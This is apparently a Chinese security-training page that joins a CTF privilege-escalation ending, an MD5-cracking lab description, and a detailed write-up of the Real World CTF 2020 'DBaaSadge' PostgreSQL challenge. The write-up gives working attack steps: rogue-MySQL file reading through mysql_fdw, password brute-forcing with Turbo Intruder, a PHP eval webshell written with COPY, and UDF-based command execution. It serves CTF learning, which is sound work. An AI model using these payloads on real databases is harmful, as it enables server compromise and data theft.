moss@127.0.0.1 在当前目录发现了一个隐藏目录.games,访问后发现一个root权限的二进制文件upyourgame 运行之后就发现自己神奇的变成root用户辣 最后,flag在/root中,为8f3b38dd95eccf600593da4522251746  彩蛋时刻,其实在拿到douglas的密码之后就可以用虚拟机登陆,然后操作,这里是用的moss的账号密码,也是同样的效果 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
MD5加解密与暴力破解
本实验围绕MD5加解密软件,通过对软件操作实现基本的字符加密和解密,介绍了MD5暴力破解的方法,通过本实验的学习,你能够掌握MD5破解的方法、过程和原理,增强对MD5算法安全性的认识。 实验简介 实验所属系列:网络安全实践 实验对象:本科/专科信息安全专业 相关课程及专业:计算机基础,Linux基础 实验类别:实践实验类 预备知识 本实验要求实验者具备如下的相关知识。 hash,一般翻译做“散列”,也有直接音译为"哈希",就是把任意长度的输入通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,而不可能从散列来唯一  确定输入值。简单说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。MD5和SHA1可以说是目前应用最广泛的Hash算法,而它们都是以MD4为基础设计的。 1、MD4 MD4(RFC 1320)是MIT的Ronald L. Rivest在1990年设计的,MD是Message   Digest的缩写。它适用在32位字长的处理器上用高速软件实现--它是基于 32  位操作数的位操作来实现的。 2、MD5 MD5(RFC 1321)Rivest于1991年对MD4的改进版本。它对输入仍以512位分组,其输出是4个32位字的级联,与MD4相同。MD5比MD4来得复杂并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好。 下面简单介绍一下MD5的安全性。 Rivest猜想作为128比特长的杂凑值来说,MD5的强度达到了最大,比如找出具有相同杂凑值的两个消息需执行O(264)次运算,而寻找具有给定杂凑值的一个消息需要执行O(2128)次运算。 然而,2004年山东大学的王小云等成功找出了MD5的碰撞,发生碰撞的消息有两个1024 比特长的串M、Ni构成,设消息M||Ni的碰撞时M’和Ni’,在IBMP690上找M和M’花费时间大约一小时,找到M和M’后,则只需15秒至5分钟就可找出Ni和Ni’。 2007年,Marc Stevens,Arjen K. Lenstra和Benne de Weger进一步指出通过伪造软件签名,可重复性攻击MD5算法。研究者使用前缀碰撞法(chosen-prefix collision),使程序前端包含恶意程序,利用后面的空间添上垃圾代码凑出同样的MD5 Hash值。 2008年,荷兰埃因霍芬技术大学科学家成功把2个可执行文件进行了MD5碰撞,使得这两个运行结果不同的程序被计算出同一个MD5。2008年12月一组科研人员通过MD5碰撞成功生成了伪造的SSL证书,这使得在https协议中服务器可以伪造一些根CA的签名。 现在随着硬件技术和计算机处理能力的快速上升,MD5的暴力破解也越来越快,在安全要求高的场合一般不会使用MD5 实验目的 了解MD5破解原理,熟练使用MD5破解工具。 实验环境 Windows操作系统 实验地址: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015081317154100001https://www.yijinglab.com/expc.do?ec=c1385a78-f8dc-4259-9a84-bcbad7ada107
Real World CTF 2020 DBaaSadge Writeup
昨天刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。 由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我) https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426 这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001  (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。) 复现环境下载 链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 提取码:kwck 复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享 源码分析 打开题目直接显示源码 <?php error_reporting(0); if(!$sql=(string)$_GET["sql"]){ show_source(__FILE__); die(); } header('Content-Type: text/plain'); if(strlen($sql)>100){ die('That query is too long ;_;'); } if(!pg_pconnect('dbname=postgres user=realuser')){ die('DB gone ;_;'); } if($query = pg_query($sql)){ print_r(pg_fe 这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。 第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试 进入postgre交互式命令行的方式是 psql 如果你在这步就报错了,请切换到postgres用户再做 pg_query的报错函数为: print_r(pg_fetch_all($query)); 因此我们在最后一个else里面加上这个函数 这样只要我们输入错误,显示的就是具体语句查询时候的报错。 接下来我们首先看看这个postgre的版本和用户 这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本 select user; select version(); 根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。 当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路 接着我们在题目给的dockerfile里面看到他安装了两个扩展 在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展 其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库 select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword'); 而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式 于是我们亲爱的鱼就想到了rouge-mysql 这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到) 从这里下载到脚本 https://github.com/allyshka/Rogue-MySql-Server 有两个版本,py版本和php版本,这里推荐php版本 py版本为什么不好原因有3: 1. 后台监听且不回显 (你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错) 2. 结果在同目录下的一个mysql.log文件里,差点没找到。 3. 每次读取还得自己改一下源码里面的文件名 php版本就很人性,动态输入文件名,然后直接回显在屏幕上。 postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子: https://blog.csdn.net/bingluo8787/article/details/100958098 我们不用创建那么大的表格,随便填一个id int就行 CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306'); CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root'); CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); select * from test; 最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改 最后读取的poc如下: import requests import hashlib import random import uuid url ="http://54.219.197.26:60080/?sql=" #填你的IP ip="***" port="***" server_name="aaaa" dbname=server_name Table_name=server_name poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');" #poc2里填写你 在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件 那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。 这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害 我的想法 寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser 但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。 但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后: 这个很明显是不能够登录的,到了这里我就开始想爆破密码了 爆破的poc为 http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27); 如果成功连接那么网页会回显 Array ( [0] => Array ( [dblink_connect] => OK ) ) 错误则是回显颜文字 爆破的时候用的是burpsuite的Turbo intruder Turbo 介绍 和普通的intruder不同,这个速度差不多是原来旧版本的10倍 我相信很多人还是在使用intruder(还是换了吧,那个确实慢) 每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好 当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址 https://portswigger.net/bappstore 这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以 主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好 然后爆破的时候需要在框里面填一下py的功能函数 如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆): from itertools import product def brute_veify_code(target, engine, length): pattern = '1234567890abcdefghijklmnopqrstuvwxyz' for i in list(product(pattern, repeat=length)): code = ''.join(i) engine.queue(target.req, code) def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.e 然后在url里面需要爆破的位置用%s表示 这个速度是真的很快的,一秒大概4000多个 如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。 然后这题6千万个密码,就把我电脑内存和带宽跑炸了...... 鱼哥的做法 怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置 这里说一下postgre的交互式命令行 进入postgre的交互式命令行的命令为 psql 你也可以用 psql -c "commond" 来直接执行命令,和mysql一样 但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误: 所以我们要切换到postgres用户 然后我们查询系统变量 这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好 然后我们进入目录下,发现一堆文件 如何寻找密码文件呢,前面看了conf文件为md5加密 这里教大家一个方便查找文件内容的命令egrep egrep -r "内容" 目录 其中内容部分支持正则表达式 最后发现在global/1260里面 提供一个爆破md5的工具,这个是真的很快: http://c3rb3r.openwall.net/mdcrack 爆破方式参考 http://www.91ri.org/1285.html 很快啊,他就直接出来了,前面5位就是密码,后面的是用户名 还记得dblink扩展的作用吗,用来连接postgre数据库。 然后我们就可以用dblink直接登录superuser了 所以剩下的问题就是用superuser执行命令的问题了 只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。 SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text); 但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。 然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。 我的想法 由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。 没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在蚁景的文章再学一下。 于是我实验了postgre的存储过程,也很快,因为这个确实熟悉 只要发送如图上两次请求就可以调用d函数中的select语句 但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。 但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT) 鱼哥的想法 鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。 可以将 SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text); 变形为 SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text); 第一个select做连接,第二个做执行命令。 调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名: poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" po 先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行 坑点又来了! 这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误: 具体原因尚未分析。 varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。 要写入mysql的poc drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $<?=@eval($_REQUEST[3]);?>$) to $/tmp/smity.php$;'); 弄好以后差不多如下 然后poc: import requests import random import uuid url ="http://IP/?sql=" poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m 然后对面的/tmp目录就写了个文件 这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令 这个是固定的用法了 参考 https://blog.csdn.net/qq_33020901/article/details/79032774 这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可 大致过程如下: 按照题目postgre的大版本编一个符合版本的.so 将.so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里 发送poc让对面服务器来我们这里查询出来语句并且执行 udf.so编译过程 先去这个网页下载编译程序 https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys 然后进入题目docker 先安装一个postgre-server-dev,不然很多头文件没有。 apt install postgresql-server-dev-all 然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。 然后将下载的复制到docker里面 make 10 就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so 报错不用管他 这个就是我们需要的udf.so 然后是分片 因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败 用python脚本去分割udf.so文件 Python #~/usr/bin/env python 2.7 #-*- coding:utf-8 -*- import sys if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:python " + sys.argv[0] + "inputfile" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 = 会出来6个大块,分为6条语句,和参考网页里的一样 https://blog.csdn.net/qq_33020901/article/details/79032774 SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('...'); insert into pg_largeobject values (9023, 1, decode('...'); insert into pg_largeobject values (9023, 2, decode('...'); insert into pg_largeobject values (9023, 实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题 然后删除原来的表,重新添加 drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into...... 然后运行刚才的poc,写入/tmp/testeval.so 写入so以后,我们需要执行以下sql语句来执行命令 CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; select sys_eval('id'); 原来的参考网站有一条 drop function sys_eval; 应该是写错了,加了这个不能运行 再次清空我们服务器上的mysql数据表,重新建立 drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/rea 然后再次运行poc,得到flag 总结 队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看 https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426 总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。